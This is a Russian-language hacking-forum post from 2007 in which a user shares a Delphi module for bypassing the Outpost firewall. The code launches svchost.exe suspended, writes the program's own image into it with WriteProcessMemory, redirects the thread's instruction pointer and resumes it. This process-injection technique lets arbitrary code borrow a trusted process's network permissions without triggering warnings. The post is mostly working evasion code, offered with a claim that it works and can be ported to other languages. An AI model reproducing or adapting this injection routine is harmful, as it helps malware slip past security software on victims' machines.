Показать сообщение отдельно

  #25  
Старый 29.04.2007, 22:33
slesh
Познавший АНТИЧАТ
Регистрация: 05.03.2007
Сообщений: 1,985
Провел на форуме:
3288241

Репутация: 3349


По умолчанию

Вот код который позволяет обходить outpost. Часть кода была взята из статьи MS-REM'a
Я его чуть оформил в виде модуля. В принципе легко его перписать на любой язык. Пробывал на Outpost 3.5 Работает всё нормально. Даже outpost не выдает предупреждений о нарушении памяти процесса.

Код:
unit df;
interface
uses
Windows,Sysutils;
procedure mains(path:pointer); // безопасный запуск процедуры. path - адресс процедуры
implementation
var
 si:TStartupInfo;
 pi:TProcessInformation;

procedure mains(path:pointer); // основная функция для прекрепления кода прочедуры к SVCHOST'у
var
InjectSize: dword;
Code: pointer;
Injected: pointer;
BytesWritten: dword;
Context: _CONTEXT;
begin
ZeroMemory(@St, SizeOf(TStartupInfo));
St.cb := SizeOf(TStartupInfo);
St.wShowWindow := SW_SHOW;
//запускаем процесс, которому разрешено лезть на 80 порт
CreateProcess(nil, pansichar(windir+'\system32\svchost.exe'), nil, nil, false,CREATE_SUSPENDED, nil, nil, St, Pr);
Code:=pointer(GetModuleHandle(nil));
InjectSize:=PImageOptionalHeader(pointer(integer(Code)+PImageDosHeader(Code)._lfanew+SizeOf(dword)+SizeOf(TImageFileHeader))).SizeOfImage;
 //выделяем память в процессе
Injected := VirtualAllocEx(Pr.hProcess, Code, InjectSize, MEM_COMMIT or MEM_RESERVE, PAGE_EXECUTE_READWRITE);
 //внедряем код
WriteProcessMemory(Pr.hProcess, Injected, Code, InjectSize, BytesWritten);
 //изменяем контекст нити
Context.ContextFlags:=CONTEXT_FULL;
GetThreadContext(Pr.hThread, Context);
Context.Eip:=dword(path); // путь к функции
SetThreadContext(Pr.hThread, Context);
//запускаем процесс
ResumeThread(Pr.hThread);
end;
begin
end.

Последний раз редактировалось slesh; 29.04.2007 в 22:41..
 
Ответить с цитированием